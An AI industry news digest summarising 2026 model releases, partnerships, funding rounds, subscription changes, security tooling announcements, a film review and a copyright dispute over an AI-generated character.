Industry news

Mistral has released a preview of Mistral Large 4 via its API, a 1 trillion parameter model with 49 billion active parameters, trained on a cluster of 3,800 NVIDIA Grace Blackwell GPUs. The model supports only two reasoning levels, "none" and "high", and Mistral has promised an open weights release at the "end of this month". On Artificial Analysis it scores 38, just behind DeepSeek 4.1 Flash, a clear improvement over Mistral Large 3, which scored 9.

Meta, Walmart, Stripe and other companies, including Sierra, are publishing a "personal agent protocol," an open standard that would dictate how AI agents interact with businesses. Bret Taylor, who leads the initiative, says companies need a way to tell personal agents from people and bots, since without such a standard the situation is "kind of chaos." OpenAI and Anthropic are not yet participating.

A blog post compares several frontier models by asking each to generate an SVG of an armadillo in fishnet tights jaywalking on Mars, using the llm command-line tool. The commands cover Claude Opus 5.5, GPT-6.1-sol, Gemini 3.8 Flash and Mistral Large 4, with default reasoning levels for each.

Google's PageBreak AI agent reportedly found 500 flaws in the company's web applications. The source text describes a broader trend of pairing AI with deterministic validation to identify flaws, confirm exploitability and produce a risk assessment.

Anthropic announced on Tuesday that it is expanding its Claude Startups program, which launched in May and already has thousands of participating companies. Members can receive up to $45,000 in discounts and credits through the Claude Startup Stack, plus a one-time $1,000 API credit and a free year of Claude Team for up to five premium seats. Startups founded within the past five years or funded within the past two years are eligible to apply.

Luca Guadagnino's film about Sam Altman and OpenAI premiered at the New York film festival, reimagining the company's origin story as a campy comedy starring Andrew Garfield. The article is an opinion review that criticises the film as muddled and places it alongside a Vanity Fair cover story on Altman and his interview remarks about accepting "bad things" for AI's benefits.

AMD and Intel stock has rallied as demand for CPUs grows alongside personal AI agents such as Meta's Muse and OpenAI's Dots. Analysts say agents run long background workloads on CPUs while GPUs handle model inference, and AMD's data center revenue more than doubled to $6.7 billion in the quarter ended in June. Meta says it is largely CPU-agnostic by design.

Atlassian and OpenAI are expanding their partnership so OpenAI frontier models, including the GPT-6 family, power agents across Atlassian's platform and Rovo. Rovo combines OpenAI models with Atlassian's Teamwork Graph, an enterprise context layer that connects people, projects, documents, and decisions. The expansion builds on a collaboration that began in 2023, and more than 3,000 Atlassian developers already use Codex.

Endor Labs and SpaceXAI are partnering to secure agentic software delivery on Grok Build, from the first tool call to merged pull requests. Endor Labs checks code and dependencies as agents produce them and fixes issues before they leave the session. The integration started with a free MCP server, added a hooks integration in December 2025 that scans every package an agent installs, added Coding Agent Governance in May 2026, and added the Endor Labs Agent Kit in June.

Simon Willison asked Claude Opus 5.5 to design a text-based music format and build an artifact that plays it aloud, including example tracks, with the goal of game music in the style of The Secret of Monkey Island. He reports the results are surprisingly good, though the output leaned heavily into the Monkey Island theme. He suggests that composing competent music may be a new capability for text models, similar to 3D graphics, and proposes further experiments to test this.

Gartner's Emerging Tech Impact Radar: AI Cybersecurity Ecosystem lists Straiker as a Sample Vendor in two categories: AI Security Testing and AI Security Platforms. Straiker says these reflect a shift toward continuously attacking AI systems to find weaknesses and using those findings to protect them in production. The source ties this to agentic AI, where testing must cover MCP servers, tools, and database access, not only model prompts.

Tung Tung Tung Sahur, a character also known as Triple T, is at the center of an international legal dispute over whether copyright protects it. The character was created in 2025 by an Indonesian teen using the username Noxa, with OpenAI's image-generation tool, and is based on a kentongan drum. The article frames the case as a test of where human creativity ends and AI-generated work begins, noting US copyright law only applies to human-made creations.

The source text is a TechScape newsletter preview listing headlines, not an article. It mentions looming alliances between the White House, the Pentagon, US intelligence and AI companies, but gives no details of any specific event or consequence.

Starting October 9th, free Google Gemini users will be limited to the Flash Lite model. Access to the standard Flash model will require a $4.99/month Google AI Plus subscription, and that plan will no longer include Gemini Pro. Gemini Pro and the "Deep Think" reasoning option will be restricted to Google AI Pro or Ultra subscribers.

Mistral unveiled Mistral Large 4 (ML4), also known as le Chonk, a 1-trillion-parameter open model that the company says ranks among the best open models globally. Mistral is launching it in preview to developers, cybersecurity leaders and state authorities before a wider release later this month. Lample said further gains depend on scaling training capacity following the Series D raise.

DeepSeek is considering expanding its latest funding round to as much as 100 billion yuan ($14.9 billion), double its initial 50 billion yuan target, according to people familiar with the matter who spoke to CNBC. State-backed funds, listed Chinese companies' investment arms and venture capital firms have shown strong interest, while DeepSeek is restricting the pool largely to government and corporate investors. The amount could still change before talks conclude.